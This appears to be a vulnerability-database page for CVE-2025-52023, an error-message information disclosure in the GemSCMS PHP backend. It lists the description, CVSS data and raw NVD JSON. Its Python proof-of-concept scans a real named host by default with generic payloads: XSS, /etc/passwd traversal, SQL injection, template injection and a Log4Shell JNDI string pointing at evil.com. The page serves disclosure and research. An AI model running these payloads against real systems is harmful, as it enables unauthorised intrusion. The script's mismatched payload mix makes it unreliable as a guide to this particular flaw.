Security Vulnerability Report
中文
CVE-2025-52023 CVSS 5.3 MEDIUM

CVE-2025-52023

Published: 2026-01-23 21:15:51
Last Modified: 2026-02-11 19:24:46

Description

A vulnerability in the PHP backend of gemscms.aptsys.com.sg thru 2025-05-28 allows unauthenticated remote attackers to trigger detailed error messages that disclose internal file paths, code snippets, and stack traces. This occurs when specially crafted HTTP GET/POST requests are sent to public API endpoints, exposing potentially sensitive information useful for further exploitation. This issue is classified under CWE-209: Information Exposure Through an Error Message.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:aptsys:gemscms_backend:*:*:*:*:*:*:*:* - VULNERABLE
gemscms.aptsys.com.sg (截至2025-05-28的所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-52023 PoC - GemSCMS Information Disclosure # Target: gemscms.aptsys.com.sg def test_information_disclosure(target_url): """ Test for CVE-2025-52023 information disclosure vulnerability """ endpoints = [ '/api/users', '/api/products', '/api/search', '/api/admin', '/index.php', '/admin/index.php' ] payloads = [ "'?><script>alert(1)</script>", "../../../../etc/passwd", "' OR '1'='1", "{{7*7}}", "${jndi:ldap://evil.com/a}", "A" * 10000 ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-52023 - Information Disclosure Test") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Test GET request for payload in payloads: try: params = {'q': payload, 'id': payload, 'search': payload} response = requests.get(url, params=params, timeout=10, verify=False) # Check for information disclosure indicators if any(indicator in response.text.lower() for indicator in ['stack trace', 'error in', 'exception', 'php error', '/var/www', '/home/', 'c:\windows', 'traceback', 'at line', 'in /', 'call stack']): print(f"[!] VULNERABLE: {url}") print(f"[!] Payload: {payload}") print(f"[!] Response contains sensitive error information") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") # Test POST request for payload in payloads: try: data = {'input': payload, 'data': payload} response = requests.post(url, data=data, timeout=10, verify=False) if any(indicator in response.text.lower() for indicator in ['stack trace', 'error in', 'exception', 'php error', '/var/www', '/home/', 'c:\\windows', 'traceback']): print(f"[!] VULNERABLE: {url} (POST)") print(f"[!] Payload: {payload}") return True except requests.exceptions.RequestException: pass print("[*] Test completed - No obvious information disclosure detected") return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] else: target = 'http://gemscms.aptsys.com.sg' test_information_disclosure(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52023", "sourceIdentifier": "[email protected]", "published": "2026-01-23T21:15:50.507", "lastModified": "2026-02-11T19:24:45.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the PHP backend of gemscms.aptsys.com.sg thru 2025-05-28 allows unauthenticated remote attackers to trigger detailed error messages that disclose internal file paths, code snippets, and stack traces. This occurs when specially crafted HTTP GET/POST requests are sent to public API endpoints, exposing potentially sensitive information useful for further exploitation. This issue is classified under CWE-209: Information Exposure Through an Error Message."}, {"lang": "es", "value": "Una vulnerabilidad en el backend PHP de gemscms.aptsys.com.sg hasta el 28-05-2025 permite a atacantes remotos no autenticados activar mensajes de error detallados que revelan rutas de archivos internas, fragmentos de código y rastreos de pila. Esto ocurre cuando solicitudes HTTP GET/POST especialmente diseñadas se envían a puntos finales de API públicos, exponiendo información potencialmente sensible útil para una explotación posterior. Este problema se clasifica bajo CWE-209: Exposición de Información a Través de un Mensaje de Error."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aptsys:gemscms_backend:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-05-28", "matchCriteriaId": "1F83E13A-9AF7-4E42-9849-9D9684967078"}]}]}], "references": [{"url": "http://aptsys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://gemscms.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/ReverseThatApp/4a6be2b9b2ba39d38c35c8753e0afd39", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}